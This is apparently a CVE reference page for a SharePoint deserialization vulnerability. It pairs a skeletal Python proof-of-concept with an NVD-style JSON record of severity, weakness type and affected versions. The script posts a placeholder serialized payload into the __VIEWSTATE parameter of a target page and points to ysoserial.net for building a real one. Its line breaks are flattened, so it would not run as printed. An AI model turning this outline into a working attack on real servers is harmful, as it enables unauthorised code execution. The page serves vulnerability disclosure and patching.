CVE-2026-40357

import requests # CVE-2026-40357 PoC Concept # Target: Microsoft Office SharePoint # Description: This script demonstrates sending a malicious payload to trigger deserialization. # Note: Requires a valid serialized payload generated by tools like ysoserial.net. target_url = "http://target-sharepoint/vulnerable_page" auth_token = "<low_priv_user_token>" # Placeholder for a .NET Object Deserialization Payload (e.g., TextFormattingRunProperties) malicious_payload = "AAEAAAD////..." headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/x-www-form-urlencoded" } # The payload typically targets a ViewState or similar parameter post_data = { "__VIEWSTATE": malicious_payload } try: response = requests.post(target_url, data=post_data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully.") else: print(f"[-] Server returned: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-40357", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.413", "lastModified": "2026-05-13T20:48:58.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19725.20280", "matchCriteriaId": "E9919927-DE08-4AE4-B9F6-2A83117EE14A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}